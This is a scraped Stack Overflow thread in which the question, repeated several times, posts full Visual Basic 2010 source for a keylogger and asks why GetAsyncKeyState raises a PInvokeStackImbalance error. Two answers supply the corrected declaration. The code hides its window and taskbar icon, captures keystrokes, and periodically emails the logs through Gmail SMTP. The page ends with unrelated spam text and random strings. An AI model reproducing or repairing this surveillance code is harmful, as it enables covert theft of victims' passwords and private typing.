probleme visual basic 2010: PinVokeStackImbalance was detected?

Multi tool use
Multi tool use












-3















Option Strict On
Imports System.Net.Mail
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
Try
Dim smtpServer As New SmtpClient
smtpServer.EnableSsl = True
Dim mail As New MailMessage
smtpServer.Credentials = New Net.NetworkCredential("my mailadress", "my password")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
mail = New MailMessage
mail.From = New MailAddress("my mailadress")
mail.To.Add("my mailadress")
mail.Subject = ("New keylogger logs !")
mail.Body = txtlogs.Text
smtpServer.Send(mail)
Catch ex As Exception
Me.Close()

End Try
End Sub

Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer

For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
key = Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i

If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
txtlogs.Text &= key
Else
txtlogs.Text &= key.ToLower
End If
End If

If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then
Me.Visible = True
End If
End Sub

Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
txtlogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Me.ShowInTaskbar = False
Me.ShowIcon = False
Me.Visible = False
txtlogs.Text = "Keylogger started at: " & Now & vbNewLine

End Sub
End Class



Question: The problem is in this etape: result = 0
result = GetAsyncKeyState(i)











share|improve this question





























    -3















    Option Strict On
    Imports System.Net.Mail
    Public Class Form1
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
    Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
    Try
    Dim smtpServer As New SmtpClient
    smtpServer.EnableSsl = True
    Dim mail As New MailMessage
    smtpServer.Credentials = New Net.NetworkCredential("my mailadress", "my password")
    smtpServer.Port = 587
    smtpServer.Host = "smtp.gmail.com"
    mail = New MailMessage
    mail.From = New MailAddress("my mailadress")
    mail.To.Add("my mailadress")
    mail.Subject = ("New keylogger logs !")
    mail.Body = txtlogs.Text
    smtpServer.Send(mail)
    Catch ex As Exception
    Me.Close()

    End Try
    End Sub

    Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
    Dim result As Integer
    Dim key As String
    Dim i As Integer

    For i = 2 To 90
    result = 0
    result = GetAsyncKeyState(i)
    If result = -32767 Then
    key = Chr(i)
    If i = 13 Then key = vbNewLine
    Exit For
    End If
    Next i

    If key <> Nothing Then
    If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
    txtlogs.Text &= key
    Else
    txtlogs.Text &= key.ToLower
    End If
    End If

    If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then
    Me.Visible = True
    End If
    End Sub

    Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
    txtlogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    Me.ShowInTaskbar = False
    Me.ShowIcon = False
    Me.Visible = False
    txtlogs.Text = "Keylogger started at: " & Now & vbNewLine

    End Sub
    End Class



    Question: The problem is in this etape: result = 0
    result = GetAsyncKeyState(i)











    share|improve this question



























      -3












      -3








      -3








      Option Strict On
      Imports System.Net.Mail
      Public Class Form1
      Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
      Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
      Try
      Dim smtpServer As New SmtpClient
      smtpServer.EnableSsl = True
      Dim mail As New MailMessage
      smtpServer.Credentials = New Net.NetworkCredential("my mailadress", "my password")
      smtpServer.Port = 587
      smtpServer.Host = "smtp.gmail.com"
      mail = New MailMessage
      mail.From = New MailAddress("my mailadress")
      mail.To.Add("my mailadress")
      mail.Subject = ("New keylogger logs !")
      mail.Body = txtlogs.Text
      smtpServer.Send(mail)
      Catch ex As Exception
      Me.Close()

      End Try
      End Sub

      Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
      Dim result As Integer
      Dim key As String
      Dim i As Integer

      For i = 2 To 90
      result = 0
      result = GetAsyncKeyState(i)
      If result = -32767 Then
      key = Chr(i)
      If i = 13 Then key = vbNewLine
      Exit For
      End If
      Next i

      If key <> Nothing Then
      If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
      txtlogs.Text &= key
      Else
      txtlogs.Text &= key.ToLower
      End If
      End If

      If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then
      Me.Visible = True
      End If
      End Sub

      Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
      txtlogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
      End Sub

      Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
      Me.ShowInTaskbar = False
      Me.ShowIcon = False
      Me.Visible = False
      txtlogs.Text = "Keylogger started at: " & Now & vbNewLine

      End Sub
      End Class



      Question: The problem is in this etape: result = 0
      result = GetAsyncKeyState(i)











      share|improve this question
















      Option Strict On
      Imports System.Net.Mail
      Public Class Form1
      Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
      Private Sub tmrEmail_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrEmail.Tick
      Try
      Dim smtpServer As New SmtpClient
      smtpServer.EnableSsl = True
      Dim mail As New MailMessage
      smtpServer.Credentials = New Net.NetworkCredential("my mailadress", "my password")
      smtpServer.Port = 587
      smtpServer.Host = "smtp.gmail.com"
      mail = New MailMessage
      mail.From = New MailAddress("my mailadress")
      mail.To.Add("my mailadress")
      mail.Subject = ("New keylogger logs !")
      mail.Body = txtlogs.Text
      smtpServer.Send(mail)
      Catch ex As Exception
      Me.Close()

      End Try
      End Sub

      Private Sub tmrKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles tmrKeys.Tick
      Dim result As Integer
      Dim key As String
      Dim i As Integer

      For i = 2 To 90
      result = 0
      result = GetAsyncKeyState(i)
      If result = -32767 Then
      key = Chr(i)
      If i = 13 Then key = vbNewLine
      Exit For
      End If
      Next i

      If key <> Nothing Then
      If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
      txtlogs.Text &= key
      Else
      txtlogs.Text &= key.ToLower
      End If
      End If

      If My.Computer.Keyboard.AltKeyDown AndAlso My.Computer.Keyboard.CtrlKeyDown AndAlso key = "H" Then
      Me.Visible = True
      End If
      End Sub

      Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
      txtlogs.Text &= vbNewLine & "Keylogger stopped at: " & Now & vbNewLine
      End Sub

      Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
      Me.ShowInTaskbar = False
      Me.ShowIcon = False
      Me.Visible = False
      txtlogs.Text = "Keylogger started at: " & Now & vbNewLine

      End Sub
      End Class



      Question: The problem is in this etape: result = 0
      result = GetAsyncKeyState(i)








      visual-studio-2010






      share|improve this question















      share|improve this question













      share|improve this question




      share|improve this question








      edited Jul 7 '15 at 18:32









      Piotr Dajlido

      1,567722




      1,567722










      asked Jul 7 '15 at 18:01









      VPS ShootingVPS Shooting

      1




      1
























          2 Answers
          2






          active

          oldest

          votes


















          1














          You've got a VB6 declaration.



          Change:



          Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer


          To:



          Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short





          share|improve this answer

































            1














            This did not work



            Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer


            However, this worked for myself



            Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short





            share|improve this answer

























              Your Answer






              StackExchange.ifUsing("editor", function () {
              StackExchange.using("externalEditor", function () {
              StackExchange.using("snippets", function () {
              StackExchange.snippets.init();
              });
              });
              }, "code-snippets");

              StackExchange.ready(function() {
              var channelOptions = {
              tags: "".split(" "),
              id: "1"
              };
              initTagRenderer("".split(" "), "".split(" "), channelOptions);

              StackExchange.using("externalEditor", function() {
              // Have to fire editor after snippets, if snippets enabled
              if (StackExchange.settings.snippets.snippetsEnabled) {
              StackExchange.using("snippets", function() {
              createEditor();
              });
              }
              else {
              createEditor();
              }
              });

              function createEditor() {
              StackExchange.prepareEditor({
              heartbeatType: 'answer',
              autoActivateHeartbeat: false,
              convertImagesToLinks: true,
              noModals: true,
              showLowRepImageUploadWarning: true,
              reputationToPostImages: 10,
              bindNavPrevention: true,
              postfix: "",
              imageUploader: {
              brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
              contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
              allowUrls: true
              },
              onDemand: true,
              discardSelector: ".discard-answer"
              ,immediatelyShowMarkdownHelp:true
              });


              }
              });














              draft saved

              draft discarded


















              StackExchange.ready(
              function () {
              StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f31276076%2fprobleme-visual-basic-2010-pinvokestackimbalance-was-detected%23new-answer', 'question_page');
              }
              );

              Post as a guest















              Required, but never shown

























              2 Answers
              2






              active

              oldest

              votes








              2 Answers
              2






              active

              oldest

              votes









              active

              oldest

              votes






              active

              oldest

              votes









              1














              You've got a VB6 declaration.



              Change:



              Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer


              To:



              Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short





              share|improve this answer






























                1














                You've got a VB6 declaration.



                Change:



                Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer


                To:



                Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short





                share|improve this answer




























                  1












                  1








                  1







                  You've got a VB6 declaration.



                  Change:



                  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer


                  To:



                  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short





                  share|improve this answer















                  You've got a VB6 declaration.



                  Change:



                  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer


                  To:



                  Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Short






                  share|improve this answer














                  share|improve this answer



                  share|improve this answer








                  edited Nov 23 '18 at 1:37









                  Hans Passant

                  789k10713012080




                  789k10713012080










                  answered Jul 7 '15 at 18:32









                  Idle_MindIdle_Mind

                  22.8k21424




                  22.8k21424

























                      1














                      This did not work



                      Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer


                      However, this worked for myself



                      Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short





                      share|improve this answer






























                        1














                        This did not work



                        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer


                        However, this worked for myself



                        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short





                        share|improve this answer




























                          1












                          1








                          1







                          This did not work



                          Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer


                          However, this worked for myself



                          Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short





                          share|improve this answer















                          This did not work



                          Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer


                          However, this worked for myself



                          Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Short






                          share|improve this answer














                          share|improve this answer



                          share|improve this answer








                          edited Nov 23 '18 at 2:00









                          K.Dᴀᴠɪs

                          7,219112439




                          7,219112439










                          answered Nov 23 '18 at 1:07









                          CycloCyclo

                          111




                          111






























                              draft saved

                              draft discarded




















































                              Thanks for contributing an answer to Stack Overflow!


                              • Please be sure to answer the question. Provide details and share your research!

                              But avoid



                              • Asking for help, clarification, or responding to other answers.

                              • Making statements based on opinion; back them up with references or personal experience.


                              To learn more, see our tips on writing great answers.




                              draft saved


                              draft discarded














                              StackExchange.ready(
                              function () {
                              StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2fstackoverflow.com%2fquestions%2f31276076%2fprobleme-visual-basic-2010-pinvokestackimbalance-was-detected%23new-answer', 'question_page');
                              }
                              );

                              Post as a guest















                              Required, but never shown





















































                              Required, but never shown














                              Required, but never shown












                              Required, but never shown







                              Required, but never shown

































                              Required, but never shown














                              Required, but never shown












                              Required, but never shown







                              Required, but never shown







                              s9 ArUxtx 51gW
                              lEc5s8gEzyN8Hr6,6l6P,AW,jSG8qFVV ao21 ow 00 hCMC

                              Popular posts from this blog

                              Costa Masnaga

                              Fotorealismo

                              Sidney Franklin